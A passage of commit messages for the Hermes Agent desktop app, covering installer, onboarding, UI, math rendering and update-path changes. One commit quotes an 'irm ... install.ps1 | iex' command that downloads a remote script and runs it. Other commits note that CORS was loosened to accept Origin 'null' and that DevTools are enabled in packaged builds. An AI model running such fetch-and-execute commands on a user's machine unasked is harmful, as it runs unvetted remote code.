code. * feat(desktop): reconcile live tool events, polish thread chrome, harden boot - chat-messages: match tool rows by overlapping query/context/preview values so preview-first `tool.progress` rows reliably adopt later stable-id `tool.start` payloads instead of spawning ghost rows or mis-merging parallel same-name calls; preserve prior args/result across phases. - tui_gateway: emit full args + parsed result on `tool.start` / `tool.complete`, drop redundant `tool.started` re-emit from `tool.progress`. - electron/main: prefer SOURCE_REPO_ROOT before PATH `hermes` in dev so local backend edits actually run; split hardening helpers into `electron/hardening.cjs` with tests. - thread/tool UI: one-shot enter animation keyed by stable ids, braille spinner for running rows, Cursor-like disclosure rows, drill-down + duration/count formatting via new tool-fallback-model. - composer: extract `text-utils`, drop liquid-glass overrides. - right-rail: split preview-pane into preview-console / preview-file. - runtime: incremental external-store runtime + runtime-readiness gate; onboarding store + tests; route-resume hook test. - regression tests for live tool reconciliation (parallel tools, id-less progress, preview-first rows, structured args/results). * feat(desktop): add ripgrep to NSIS prereq page + polish layout Add ripgrep as a third (recommended) prereq alongside Python and Git in the NSIS prereq detection page, and clean up the page layout based on on-VM testing. Why ripgrep - Hermes' search_files tool calls `rg` directly for content + filename search (tools/file_operations.py:1382). Falls back to grep/find from Git Bash when missing — works but slower and noisier (no .gitignore awareness). - ~5MB winget install via `BurntSushi.ripgrep.MSVC --scope user` — no UAC prompt, parallel to how Python installs. - scripts/install.ps1 already installs ripgrep as part of Install-SystemPackages; this brings the desktop installer to parity. Why "recommended" not "required" - Python and Git are hard requirements: without them the agent runtime or terminal tool refuses to start. The bootstrapper preflight throws. - ripgrep is a performance enhancement: missing it just means slower searches. Page wording reflects this; failure to install is logged but doesn't show a MessageBox or block. Layout polish (response to on-VM screenshot review) - Wizard header now correctly reads "System Requirements" instead of the leftover "Choose Install Location" from the previous page. Set via `GetDlgItem $HWNDPARENT 1037/1038` + WM_SETTEXT — the standard NSIS pattern for overriding the page header on a custom Page. - Removed redundant in-body title + verbose intro paragraph; the wizard header IS the title now. Body has one short intro line. - Group boxes tightened to 26u with content positioned just below the groupbox title (not top-anchored status + bottom-anchored checkbox with empty space in the middle). All three panels + footer fit comfortably in 126u, well under the 140u page limit. - Checkbox labels simplified: dropped "(per-user, no admin prompt)" and "(administrator approval required)" suffixes. The footer note still calls out UAC for Git when relevant. - Footer text trimmed to fit cleanly without clipping. Install order (in customInstall macro) - Python → ripgrep → Git - Python and ripgrep are silent and run first; Git's UAC prompt comes last so the user's approval interaction isn't interrupted by silent activity afterwards. Skip behavior unchanged - All three detected → page auto-skips via Abort - Silent install (/S) → customInstall winget block skips - User unchecks all → page advances without running winget Files - apps/desktop/installer/prereq-check.nsh: ripgrep detection block, ripgrep page panel + checkbox, ripgrep customInstall block, GetDlgItem header override, layout reflow - apps/desktop/README.md: Runtime prerequisites section updated to list ripgrep as recommended, with manual winget command * feat(desktop): add model-confirmation step to onboarding After OAuth/API-key login completes, onboarding now shows a confirmation card with the curated default model and a Change button before dropping the user into chat. Closes the gap where the desktop's `model.default` was empty after first launch and the agent had to fall back to whatever heuristic happened to fire — leaving users wondering "why am I getting sonnet-4 when I logged into Nous Portal?" Why - Desktop onboarding only persisted credentials, never `model.default`. The CLI's `hermes model` command pairs provider + model selection, but the desktop's onboarding skipped the model step entirely. - Result: users saw whichever model the agent's auto-fallback picked, unpredictably and undocumented. - For the BUILD demo we want users to land on the model they expect for their provider, with a clear "this is what you're getting" UI and a one-click path to change it before chatting. How - New `confirming_model` flow status carries the just-authenticated provider slug, current default model, label, and a saving flag. - `completeWithModelConfirm()` runs after credentials succeed: reloads env, verifies runtime, fetches /api/model/options to find the curated first-model for the provider, persists it via /api/model/set, then transitions into `confirming_model`. - If anything fails (no providers returned, network error), falls through to the previous behaviour — onboarding completes without the confirm step. Polish, not a hard requirement. - All four credential paths (device_code OAuth, PKCE OAuth, external CLI flow, API key) now use completeWithModelConfirm instead of reloadAndConnect. UI - `ConfirmingModelPanel` shows: green "<provider> connected" banner, card with "Default model: <name>" + Change button, and a "Start chatting" CTA that finalises onboarding. - Reuses the existing `ModelPickerDialog` (the same picker available from the chat shell) for the change-model UX. Search, filtering, multi-provider listing — all already built. - Stacking: ModelPickerDialog defaults to z-130, which renders UNDER the onboarding overlay (z-1300) and breaks pointer events. Added optional `contentClassName` prop to ModelPickerDialog so callers can override; onboarding passes `z-[1310]`. Provider-slug matching - For OAuth flows: pass `provider.id` directly as the preferred slug. - For API-key flows: `OPENROUTER_API_KEY` → "openrouter" via env-key prefix strip. Also includes the user-visible label as a fallback candidate. - fetchProviderDefaultModel falls back to the first authenticated provider in the response if no preferred slug matches — so even a miss still surfaces a reasonable default. Files - apps/desktop/src/store/onboarding.ts: + new `confirming_model` flow variant + fetchProviderDefaultModel + completeWithModelConfirm helpers + setOnboardingModel (optimistic update + revert on failure) + confirmOnboardingModel (finalises onboarding from the card) - reloadAndConnect (replaced; the four call sites now go through completeWithModelConfirm) - apps/desktop/src/components/desktop-onboarding-overlay.tsx: + ConfirmingModelPanel component + new branch in FlowPanel for status `confirming_model` + ModelPickerDialog usage with z-[1310] content class - apps/desktop/src/components/model-picker.tsx: + optional `contentClassName` prop on ModelPickerDialog so the dialog can be stacked on top of other fixed overlays Tested - `npm run type-check` passes - `npx eslint` clean on touched files - Live test in `npm run dev`: cleared onboarding cache, walked through Nous device-code flow, saw confirm card with curated default, clicked Change → ModelPickerDialog rendered above the onboarding overlay with working pointer events, picked a different model, "Start chatting" persisted to ~/.hermes/config.yaml. * fix(desktop): suppress generic provider warning in onboarding Hide the red setup notice when the message is the generic missing-provider guidance, since onboarding already presents provider auth actions. Centralize provider-setup matching across desktop hooks and add coverage for the matcher. * fix(desktop): add 2u clearance below prereq checkboxes Group box bottom border was clipping the checkboxes by 1-2px. Bumped each box height 26u→30u; checkboxes now sit 2u above the bottom border. * fix(nix): refresh dashboard lockfile hash Update the web npm deps hash in nix/web.nix to match the committed apps/dashboard/package-lock.json so bb/gui passes the nix lockfile check. * fix(desktop): install TUI deps in release workflow Ensure desktop release builds install the standalone ui-tui package before bundling the TUI payload. * fix(desktop): run release builder from app package Invoke the desktop builder through the package script so electron-builder uses apps/desktop/package.json. * fix(desktop): expand release artifact names safely Build desktop artifact names from workflow version/channel while preserving electron-builder platform macros. * fix(desktop): use package artifact naming in release workflow Let electron-builder's desktop package config provide platform-specific artifact extensions while the workflow injects the release version/channel metadata. * fix(nix): fetch dashboard npm deps from package root Point the dashboard npm dependency fetch at apps/dashboard so Nix can find the package lockfile after the dashboard move. * fix(nix): build dashboard from package directory Set the web package source root to apps/dashboard so npm patch/build phases run beside the dashboard lockfile while keeping apps/shared available as a sibling. * feat(desktop): render LaTeX math via KaTeX after streaming completes Add @streamdown/math plugin to the chat markdown renderer. Inline ($x^2$) and block ($$...$$) math both supported with singleDollarTextMath enabled. Plugin is gated to non-streaming state to match the existing pattern for syntax highlighting — math renders when the message completes, avoiding KaTeX re-render churn during streaming. KaTeX CSS is imported in styles.css; ~30KB CSS + ~430KB JS added to the bundle. Smoothness improvements during streaming deferred to a follow-up. * perf(desktop): memoize KaTeX renders so math streams without re-rendering Wrap rehype-katex with a per-equation LRU cache (keyed by displayMode + source text) and re-enable math during streaming. Stock @streamdown/math runs rehype-katex on every markdown commit, so each new token re-katexes every equation in the message. For math-heavy responses (an equation derived step-by-step) that's hundreds of ms of wasted work per token and the streaming UI chokes. With memoization, each equation pays katex.renderToString exactly once; subsequent tokens re-walk the tree but hit cache for unchanged equations. The wrapper mirrors rehype-katex's semantics exactly: same class detection (language-math, math-inline, math-display), same <pre>-walk-up for fenced math blocks, same parent.children.splice replacement, same SKIP traversal, same strict-then-lenient render strategy with VFile message reporting. Cached children are structuredCloned on each splice so downstream rehype plugins or toJsxRuntime can't mutate the cache. * fix(desktop): declare katex-memo deps directly + drop per-app lockfile katex-memo.ts (added in 112cad59b) imports hast-util-from-html-isomorphic, hast-util-to-text, remark-math, katex, and unist-util-visit-parents but those were never added to apps/desktop/package.json. They were silently resolving via @streamdown/math at the workspace root, which broke the moment `npm i --prefix apps/desktop` ran with the per-workspace lockfile because that install only consults apps/desktop/package.json. Add them as direct deps, plus unified/vfile/@types/hast for the type imports. Also delete apps/desktop/package-lock.json — root package.json declares workspaces: ["apps/*"], so npm manages all lockfile state at the root. The stale per-app lockfile is what made `npm i --prefix apps/desktop` diverge from the workspace install in the first place and left an empty apps/desktop/node_modules/@assistant-ui/ stub that Vite's dep optimizer then tried (and failed) to open at @assistant-ui/core/dist/internal.js. * feat(desktop): disable Backdrop noise overlay by default The noise overlay defaulted to on, which adds a busy speckle layer over the whole window for every new user. Flip the Leva default to off; the toggle stays in Backdrop / Noise for anyone who wants it back. * fix(desktop): polish LaTeX rendering — currency, code blocks, brackets Five distinct bugs surfaced from a math-heavy stress test: 1. Adjacent code fences glued together. scrubBacktickNoise's second-pass regex /``\s*``/g matched the LAST 2 backticks of one fence + whitespace + FIRST 2 backticks of the next, collapsing two blocks into one. Fixed with lookbehind/lookahead so we only match exactly 2 backticks not part of a longer run. 2. Whitespace eaten between fences and following content. stripPreviewTargets internally calls .trim() which strips leading/ trailing whitespace from each split-segment. For segments between two fences this collapsed \n\n to '', gluing fence close to next block. Fixed by capturing leading/trailing whitespace at the call site and restoring it after the transform. 3. Currency dollar signs eaten as math. With singleDollarTextMath:true remark-math greedy-matched any pair of $, so '$5 ... $10' became one inline math span. Added escapeCurrencyDollars to escape $<digit> patterns to \$<digit> in prose segments (not in code). Trade-off: math expressions starting with a digit (rare — '$5x = 10$') get escaped too. Mirrors the convention in ChatGPT/Claude's UIs. 4. \(...\) and \[...\] LaTeX brackets unsupported. Models often emit these instead of $...$ / $$...$$. Added rewriteLatexBracketDelimiters preprocessor pass. 5. ```latex / ```tex blocks were being routed to KaTeX via a rewrite to ```math. Aligns with GitHub markdown convention: ```math = render as math; ```latex / ```tex = LaTeX/TeX source code (syntax highlighted, not rendered). Conflating them broke teaching/showing-source use cases. MATH_FENCE_LANGUAGES pruned to {'math'} only. Also flipped parseIncompleteMarkdown to true (was !isStreaming) so the math parser can't see $ inside streaming-but-not-yet-closed code fences. Shiki was already deferred via defer={isStreaming} so this doesn't introduce new tokenization cost. Test: 18/18 existing tests still pass; one test updated to expect escaped \$ in currency-prose-with-URL case. * fix(desktop): detect Python via registry/filesystem; pin to 3.11–3.13 Two related fixes for Python detection on Windows: 1. py.exe (Python launcher) is missing from per-user installs that didn't check the launcher option, so 'py -3.X --version' alone misses real Python installs. User-reported case: clean Win11 + official Python.org 3.14 install -> 'where py' returned nothing, our installer offered to install Python again. Both NSIS prereq page and main.cjs now probe in this order: 1. py.exe launcher (when present) 2. PEP 514 registry: HKLM/HKCU\SOFTWARE\Python\PythonCore\<v>\InstallPath 3. Filesystem: %ProgramFiles%\Python<v>, %LocalAppData%\Programs\Python\Python<v> Crucially, we never fall back to running 'python.exe' from PATH on Windows — the WindowsApps stub at %LOCALAPPDATA%\Microsoft\ WindowsApps\python.exe is a redirector that opens the Microsoft Store window if no Store Python is installed. Triggering that during boot would be terrible UX. Registry/filesystem probes never execute the binary. 2. Drop 3.14 from the supported version set. Several Hermes deps (notably pywinpty, which carries Rust crates like windows_x86_64_msvc) don't yet publish 3.14 wheels. With wheels missing, 'pip install -e .' falls back to building from sdist, which needs a Rust toolchain — users see 'could not compile windows_x86_64_msvc build script' on first run. install.ps1 sidesteps this by pinning to 3.11 via uv; the desktop installer doesn't yet have the same uv-managed-Python pathway, so for now we accept 3.11/3.12/3.13 and tell winget to install 3.11 if none of those are present. Revisit when the wheel ecosystem catches up to 3.14 (~early 2026). * feat(desktop): Cron, Profiles, usage analytics, and titlebar fixes - Add Cron and Profiles sidebar routes with full CRUD-style flows and API wiring. - Extend Command Center with auxiliary task overrides and a Usage panel (7d/30d/90d). - Fix titlebar geometry for WSL/Windows (native overlay width, tool spacing). - Remove stray merge conflict markers from pyproject.toml optional deps. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(title-bar): position sidebar toggle button * feat(desktop): composer queue — queue many, edit/delete/cancel-edit, Cursor-style Press Enter while busy with a draft to queue it; with no draft to interrupt and send the next queued turn. Auto-drains one queued turn each time the session settles, same as Cursor. Queue persists across reloads so an interrupted-and-queued turn isn't lost on refresh. Each queued row supports edit-in-composer (with explicit Save/Cancel), send-now (↑), and delete. Drain skips only the entry currently being edited so the rest of the queue keeps flowing. Queue dequeue is transactional — an entry only leaves the queue after `prompt.submit` is accepted, so a rejected submit doesn't drop the turn. Also shrinks the `[interrupted]` marker to a muted one-liner and drops its assistant footer so it stops looking like a real reply. * fix(desktop): handle empty usage analytics totals Co-authored-by: Cursor <cursoragent@cursor.com> * fix(desktop): address PR review titlebar and usage races Co-authored-by: Cursor <cursoragent@cursor.com> * feat(desktop): add MCP settings and live subagent tree Surface configured MCP servers in Settings with JSON edit/save and a gateway-backed reload action so users can manage tool servers without falling back to slash commands. Track live subagent gateway events in a desktop store, show active subagent counts in the Agents statusbar item, and replace the Agents overlay stub with a live spawn tree for the active session. * fix(desktop): move power-user views out of sidebar Keep Cron and Profiles available through lower-prominence chrome entry points so the workspace sidebar stays focused on core chat navigation. Co-authored-by: Cursor <cursoragent@cursor.com> * refactor(desktop): subagent overlay reads like a live transcript, not a dashboard Strip the card chrome and rewire /agents to feel like peeking into the child agent's stream: - subagents store: single `stream` of typed entries (thinking/tool/progress/ summary) replaces the parallel notes/thinking/tools arrays. Drop unused fields (toolsets, depth, apiCalls, reasoningTokens, sessionId). - agents view: no OverlayCards, no boxed stream, no per-row borders. Goal + status pill + indented stream lines, full row width. - Group root spawns into "Delegation N" sections when batch shape + spawn time match — hides task-index interleaving and makes hierarchy obvious. - Sort tree by spawn time, then task_index. Step indicator is one colored pill (primary while running, emerald when done) inside the row, not a trailing pill that wrapped under the chevron. - Tree picks up `subagent.start` (not only `spawn_requested`) and prunes delegate-tool fallback rows once native subagent events land for the session — fixes duplicate "Delegated task" rows alongside the real ones. * feat(desktop): Esc closes every OverlayView-based overlay Lift the keyboard handler into the shared OverlayView so Agents, Settings, Command Center — and anything we build on top of it later — all dismiss on Esc by default. Nested Radix dialogs stop propagation themselves, so a modal opened inside an overlay (e.g. model picker inside Settings) still closes the modal first, not the overlay underneath. Drop the now-redundant Esc handlers in Settings (kept Cmd/Ctrl+P) and Command Center. * fix(desktop): drop numbered step pill on subagent rows The pill was getting clipped at the overlay edge anyway. Just use the status glyph (●/✓/✗/■/○) — the delegation header already conveys "3 workers, 3 active", and order in the list implies which step you're looking at. * fix(desktop): drop noisy "returned N items / empty object" stub strings When a tool returns nothing useful, the row should be silent — the title ("Search Files", etc.) already tells the user what happened. Counting the fields in an opaque payload is engineer-noise. `formatToolResultSummary` and `minimalValueSummary` now return '' for empty arrays / records / unrecognized values; tool-fallback already hides the detail section when its body is empty. * refactor(desktop): subagent rows borrow chat tool patterns (fade-in, lucide glyphs, shimmer) Pull the agents view closer to how chat tool blocks render: - statusGlyph() returns the same lucide BrailleSpinner / CheckCircle2 / AlertCircle vocabulary as tool-fallback's statusGlyph - Stream lines fade-in via useEnterAnimation (one-shot WAAPI), keyed per entry so streamed deltas settle in instead of popping - Subagent rows fade in too, and pick up the existing data-slot=tool-block spacing rules between blocks - Active stream line trails a BrailleSpinner instead of a hand-rolled pulsing rectangle - Goal text drops FadeText (which forces nowrap); keep FadeText only for the single-line meta subtitle - Running rows shimmer the title — same affordance the chat thinking row uses * refactor(desktop): make /agents subagent-only, drop sidebar + dead sections Activity rail and History stub were both noise. Strip the split layout, sidebar, route enum, and the rail/stub helpers — the overlay is now just the spawn tree, centered in a max-w-3xl column so it stops claiming the whole screen for one section's worth of content. * feat: update cron modals * Add dedicated GUI log stream for dashboard debugging. Capture dashboard and PTY websocket lifecycle failures in gui.log and expose it via hermes logs. * Improve desktop runtime UX by surfacing inference readiness in gateway status and hardening WSL link opening. This also stabilizes markdown code/table block spacing and adds root-install guards so desktop dev runs use a healthy workspace dependency tree. * Log detailed GUI websocket failure metadata. Capture richer reject/disconnect/send/parse context for dashboard gateway websocket flows so GUI connection failures are diagnosable from logs. * Default dashboard startup logging to GUI mode. Detect the dashboard subcommand during early CLI bootstrap so gui.log is attached from process start and GUI startup failures are always captured. * Clean up gateway status conditionals and logging bootstrap mode detection. Simplify nested dashboard gateway status branches for readability and use a concise first-subcommand check when selecting early GUI logging mode. * add logging to nsis installer * feat: glass ui pass * fix(desktop): persist inline assistant errors across hydrate/resume - Detect provider failure text arriving via message.complete (HTTP 4xx, "API call failed after N retries", Provider/Gateway error: ...) and persist as an inline assistant error instead of regular completion text, blocking the hydrate that was wiping it. - preserveLocalAssistantErrors: merge by id so same-id hydrated messages keep their local error, and preserve the optimistic user+error pair as a unit (with tail-user dedupe). - Hook all hydrate/resume writers (use-session-actions resume + fallback, hydrateFromStoredSession, syncSessionStateToView) into the merge so stale snapshots can't clobber a failed turn. - Add error to chatMessagesEquivalent so the resume diff actually sees error-only changes and paints them. - editMessage on a failed turn now submits a plain resend (no truncate_before_user_ordinal) and retries plainly on the "no longer in session history" race. Style polish on touched files: - Inline error: text-only treatment (no card). - User stop / edit-composer send: shared Tabler IconPlayerStopFilled glyph + shared icon-button class slot for parity. * feat(desktop): theme xterm with active light/dark mode The right-sidebar terminal hardcoded a light palette, which read poorly on the dark glass surface. Subscribe to `useTheme().resolvedMode` and hot-swap `term.options.theme` so Shift+X (and any other mode change) updates the terminal in place without tearing down the PTY session. Dark mode uses xterm's built-in defaults (white fg/cursor + vivid ANSI 16) with just a transparent background so the glass shows through; light mode keeps the existing hand-tuned overrides for legibility on a bright surface. * feat(sidebar): right-click + drag-reorder sessions and workspaces - Wire right-click on session rows to open the same actions menu; suppresses the OS-native context menu so Windows stops looking awful. - Share dropdown + context menu items via useSessionActions() driving a single declarative ItemSpec[]; render polymorphic over MenuItem. - New shadcn ContextMenu primitive mirroring DropdownMenu styling. - Restore drag-and-drop reordering for Agents (lost during the cwd cleanup) and add reordering of workspace groups via a right-side grab handle. Pinned reorder unchanged. - Generic orderByIds<T> replaces the duplicated session/group orderers; useSortableBindings() hook collapses the two Sortable wrappers. - cursor-pointer on every actionable element; cursor-grab on handles. - KISS pass: baseName() helper, AGE_TICKS table, single WORKSPACE_PAGE constant, flatter SidebarSessionsSection render. * feat(desktop): solarize the xterm palette in both light & dark xterm's default ANSI 16 is tuned for dark and reads candy-bright on the light glass surface (vivid cyans/greens). Ship the canonical Solarized palette (Schoonover) for both modes — same 16 accents either way, only fg/cursor swap between `base00/01` (light) and `base0/1` (dark), so a prompt's colors look uniform across a Shift+X toggle. Background stays transparent in both modes — Solarized's cream/slate backgrounds would fight the glass. * feat(desktop): virtualize chat thread + sidebar via TanStack Virtual Replaces `use-stick-to-bottom` and per-row session rendering with `@tanstack/react-virtual`, matching what Cursor uses. Chat thread (`thread-virtualizer.tsx`): - Natural-flow virtualization (padding spacers, not absolute items) so `position: sticky` on the human bubble still resolves cleanly against the scroller. - Custom at-bottom anchor: pins when armed, disarms on user-driven upward scroll, re-arms at bottom, jumps on session switch + `thread.runStart`. - Loading indicator and `--thread-last-message-clearance` move to a real `[data-slot=aui_composer-clearance]` node; drops the brittle `:nth-last-child(1 of …)` rule that can't fire reliably under virtualization. Sidebar (`virtual-session-list.tsx`): - Flat agents list virtualizes at >=25 rows; pinned and workspace-grouped paths stay direct-render. - `SortableContext` keeps all IDs; only the window mounts; dnd-kit's `setNodeRef` is merged with `virtualizer.measureElement` so rows participate in both DnD hit-testing and TanStack measurement. Drops `use-stick-to-bottom`. Streaming test gets a global `offsetWidth/offsetHeight` stub so the virtualizer's viewport sizing works in jsdom; the scroll-up-doesn't-pull-back invariant still passes. * feat: more ui qa * fix(desktop): trim sidebar terminal startup spacer Drop zsh's initial spacer row before writing the first terminal prompt so new sidebar terminal sessions do not open with a selectable blank line. * chore: uptick * feat(desktop): thin installer + first-launch install.ps1 bootstrap Converges the Windows packaged desktop installer onto a single canonical install topology: drop the Electron shell only (~80MB instead of ~500MB), clone Hermes Agent at a build-time-pinned commit on first launch via install.ps1's stage protocol, and treat the resulting git checkout at %LOCALAPPDATA%\hermes\hermes-agent\ as the canonical install location (same path the CLI installer uses). Future updates flow through the existing applyUpdates() git-pull path. Replaces the previous fat-installer architecture where the .exe bundled a pre-staged hermes-agent source tree under resources/hermes-agent/ that was then sync'd into ACTIVE_HERMES_ROOT at launch -- a complicated factory-vs-active dance with several footguns (FACTORY_HERMES_ROOT mismatch on path resolve, isGitCheckout guard regressions, pyproject hash drift detection inside the sync loop). Architecture overview --------------------- Build time apps/desktop/scripts/write-build-stamp.cjs writes apps/desktop/build/install-stamp.json with {commit, branch, builtAt, dirty}. Honours $GITHUB_SHA / $GITHUB_REF_NAME in CI, falls back to `git rev-parse HEAD` locally. apps/desktop/scripts/stage-native-deps.cjs copies the runtime subset of @homebridge/node-pty-prebuilt-multiarch from the workspace-root node_modules into apps/desktop/build/native-deps/. Workspace dedup hoists this dep to the root, out of reach of electron-builder's `files:`-restricted collector; staging gives us a deterministic path to extraResources. electron-builder ships both into resources/install-stamp.json and resources/native-deps/ respectively. Boot resolver (electron/main.cjs) Resolver order: 1. HERMES_DESKTOP_HERMES_ROOT override 2. SOURCE_REPO_ROOT (dev mode) 3. ACTIVE_HERMES_ROOT git checkout WITH .hermes-bootstrap-complete marker -- the post-install fast path 4. `hermes` on PATH (CLI-installed user adding the desktop) 5. pip-installed hermes_cli via system Python 6. bootstrap-needed sentinel -> hand off to runBootstrap Deletes the entire FACTORY_HERMES_ROOT / RUNTIME_MARKER / syncTreeExcludingVenv machinery (-200 lines). The isGitCheckout guard that bit us in the install.ps1 PR is gone. First-launch bootstrap (electron/bootstrap-runner.cjs) 1. Resolve install.ps1: prefer SOURCE_REPO_ROOT/scripts (dev), else download from GitHub raw at INSTALL_STAMP.commit (cached at HERMES_HOME\bootstrap-cache\install-<sha>.ps1). 2. Fetch the stage manifest via install.ps1 -Manifest -Commit X -Branch Y. 3. Iterate stages: install.ps1 -Stage <name> -NonInteractive -Json -Commit X -Branch Y per stage. 4. On all stages green: write the .hermes-bootstrap-complete marker with {schemaVersion, pinnedCommit, pinnedBranch, completedAt, desktopVersion}. Per-run log to HERMES_HOME\logs\bootstrap-<ts>.log. Cancellation via AbortSignal. Manifest cache so retries don't re-download. Install overlay (src/components/desktop-install-overlay.tsx) Mounted alongside the existing onboarding overlay; flexbox card with header (static) + middle (scrollable) + footer (failure-only, static). Subscribes to hermes:bootstrap:event IPC + resyncs from hermes:bootstrap:get on mount/reload. Renders: - 14-stage checklist with per-stage state icons - Overall progress bar + current-stage spotlight - Auto-expanded installer-output panel on failure - "Copy output" button (full ring buffer + error to clipboard) - "Reload and retry" wired through hermes:bootstrap:reset to clear main.cjs's latched failure Synthetic empty-manifest event from main.cjs flips the overlay to 'active' immediately so the slow install.ps1 download doesn't leave the user staring at the generic Preparing splash. Failure latching (main.cjs) bootstrapFailure module-scope variable holds the rejection after install.ps1 fails. startHermes() throws the latched error immediately when set, bypassing the entire ensureRuntime + runBootstrap chain. Without this, the renderer's ensureGatewayOpen retries would re-run install.ps1 in a 5-10 min hot loop while the user was still reading the failure overlay. Cleared via hermes:bootstrap:reset on user-driven retry. Unsupported-platform overlay (1F) macOS / Linux packaged builds (no install.sh stage protocol yet) emit an unsupported-platform event with a copy-pasteable install command + docs URL. Dedicated overlay branch with "Copy command" + "I've run it -- retry" buttons. install.ps1 additions (Phase 1F.3 + 1F.5) ----------------------------------------- New -Commit and -Tag string params. Precedence Commit > Tag > Branch. Honoured by all three code paths (update / fresh clone / ZIP fallback), with archive URL selection that handles each ref-type variant. Detached-HEAD checkouts intentionally -- they're pins, not branches the user pulls into. EAP=Continue wrap around the new pin-step git invocations. `git fetch origin <commit>` writes the routine 'From <url>' info line to stderr; under the script's global EAP=Stop that terminates the script even though fetch+checkout succeed. Matches the established pattern in Install-Uv, Test-Python, _Run-NpmInstall. Backend fix (hermes_cli/web_server.py) -------------------------------------- CORS allow_origin_regex now accepts Origin: 'null'. Packaged Electron loads index.html via file://; Chromium sets the WebSocket upgrade Origin header to the opaque origin 'null', which the old regex rejected with HTTP 403 before gateway_ws() ever ran. This failure mode was masked in the older FACTORY_HERMES_ROOT architecture because the resolver often found an existing hermes on PATH with different binding behavior. Security maintained: localhost-only bind keeps cross-machine pages out; per-process session token still gates every authenticated /api/ endpoint regardless of Origin. Desktop QoL ----------- DevTools is now enabled in packaged builds (F12 / Cmd+Opt+I). Field-debugging trade-off: tiny attack surface increase versus a much better support story when CSP / WS / theme issues surface. NSIS prereq-check page deleted (-767 lines). The standard Welcome -> License -> Directory -> InstallFiles -> Finish wizard now installs without custom Python/Git/ripgrep detection -- those prereqs are install.ps1's job at first launch. Test infrastructure (Phase 1G) ------------------------------ apps/desktop/scripts/test-desktop.mjs rewritten as a cross-platform bundle validator (was darwin-only and asserted on dead factory- payload paths): NEGATIVE: hermes_cli/main.py is NOT shipped (regression guard) POSITIVE: install-stamp.json carries a real commit + branch POSITIVE: node-pty native deps shipped under resources/native-deps POSITIVE: renderer dist/index.html reachable (asar or unpacked) New nsis mode and npm run test:desktop:nsis script. Validated end-to-end on clean Win10 VM -------------------------------------- Confirmed: NSIS installer drops Electron shell, app launches, install overlay shows progress, install.ps1 clones the pinned commit, 14 stages run to completion, marker written, backend spawns, WebSocket connects, onboarding overlay asks for API key, main UI loads, integrated terminal works. Failures handled: bootstrap stays failed (no hot-loop retry), "Copy output" gives actionable transcript, "Reload and retry" explicitly re-runs install.ps1. What's deferred --------------- - MSIX wrapping (Phase 2): same Electron .exe under MSIX manifest with runFullTrust, signed and submitted to Microsoft Store. - install.sh stage protocol parity (Phase 2): once shipped, the unsupported-platform overlay becomes drive-it-yourself and macOS/Linux packaged installers gain feature parity with Windows. * feat(desktop): persistent terminal pane + fullscreen takeover Adds a VSCode-style "focus terminal" toggle to the right sidebar's Terminal tab that takes over the chat pane area without unmounting the shell. The xterm host is mounted once at the layout root and CSS-overlayed onto whichever <TerminalSlot /> is currently active, so the PTY session, scrollback, selection, focus, and WebGL renderer survive every toggle. Also: - WebGL renderer (matching dashboard ChatPage) so Hermes' TUI skins paint faithfully instead of muting through xterm's default DOM renderer - File drag/drop from the project tree or OS into xterm — paths are shell-quoted (zsh/bash/pwsh/cmd) and written straight into the PTY - Solarized dark canvas with brights promoted to real accent variants (Schoonover's UI-gray brights washed out every TUI accent) - Strip NO_COLOR/FORCE_COLOR/COLORFGBG/TERM=dumb leaking from non-tty parents (CI runners, Cursor's agent shell) so the embedded shell gets truecolor regardless of how Electron was launched - rAF-debounced ResizeObserver — running fit.fit() synchronously during sibling pane transitions crashed the WebGL texture-atlas rebuild * fix(install.ps1): strip UTF-8 BOM regression that broke 'irm | iex' The canonical install flow irm https://raw.githubusercontent.com/.../scripts/install.ps1 | iex fails on PowerShell 5.1 with a cascade of 'The assignment expression is not valid' errors at every param() default value: [string]$Branch = 'main', ~~~~~~ The assignment expression is not valid. The input to an assignment operator must be an object that is able to accept assignments... Root cause: scripts/install.ps1 carries a UTF-8 BOM (0xEF 0xBB 0xBF) as its first three bytes. 'irm' returns the response body as a string; on PS 5.1 the BOM survives into that string as a leading \ufeff character. 'iex' then evaluates the string and PS's parser chokes on the invisible character before param() -- error recovery proceeds into the body but every assignment is reported as broken. This was the exact failure mode the install.ps1 hardening pass (PR #27224) deliberately fixed by stripping the BOM and ensuring the file body is pure ASCII. Commit |

feat(models): refresh model catalog hourly instead of daily (#35756)
Lower the model_catalog disk-cache TTL from 24h to 1h so freshly published model-catalog.json deploys reach the picker within an hour instead of up to a day. The picker now refetches on the next `hermes model` / `/model` once the cache is older than 1h; younger than 1h still serves the cache (no network hit), and network failures still fall back to the stale copy. - DEFAULT_TTL_HOURS 24 -> 1 (model_catalog.py) - DEFAULT_CONFIG model_catalog.ttl_hours 24 -> 1, _config_version 24 -> 25 - migration v24->25 rewrites a stale ttl_hours:24 to 1, preserving any custom value the user set E2E: verified >1h refetches / <1h skips, and migration rewrites 24->1 while preserving a custom 6. |

fix(cli): restrict uv-tool-install detection to running interpreter
Copilot review on PR #29703 flagged two issues with the `uv tool list` fallback in `is_uv_tool_install`: 1. False positive: `uv tool list` returns the *machine*'s installed tools, not the active install. A regular pip/venv Hermes on a host that also has `uv tool install hermes-agent` available would be misclassified as a uv-tool install, and `hermes update` would upgrade the wrong copy. 2. Overhead: the subprocess call (up to a 15s timeout) was triggered even from `recommended_update_command_for_method`, which just computes a display string. Restrict detection to properties of the running interpreter (`sys.prefix` and `sys.executable` — both can carry the uv-tool layout marker depending on entry point). Drop the `uv tool list` fallback and the `uv_path` parameter entirely. `_cmd_update_pip` now also surfaces a clear hint when the runtime looks like a uv-tool install but `uv` is missing from PATH, instead of silently falling back to `python -m pip`. |

fix(cli): use uv tool upgrade when Hermes is a uv tool install (#29700)
Hermes installed via `uv tool install hermes-agent` lives outside any
venv. `_cmd_update_pip` previously ran `uv pip install --upgrade`, which
errors with `No virtual environment found; run uv venv ...`. The user
hits this on the very first `hermes update` after a standard
non-`--system` install with `uv` on PATH.
Add `is_uv_tool_install()` in `hermes_cli/config.py`: fast path inspects
`sys.prefix` for the standard `uv/tools/hermes-agent/` layout, falls
back to `uv tool list` for non-standard prefixes. Both the
user-facing `recommended_update_command_for_method("pip")` string and
the actual subprocess invocation in `_cmd_update_pip` now switch to
`uv tool upgrade hermes-agent` when detected. Non-tool installs and the
no-`uv` fallback keep their existing commands unchanged.

fix(cli): don't treat any container as the Docker image for updates (#35139)
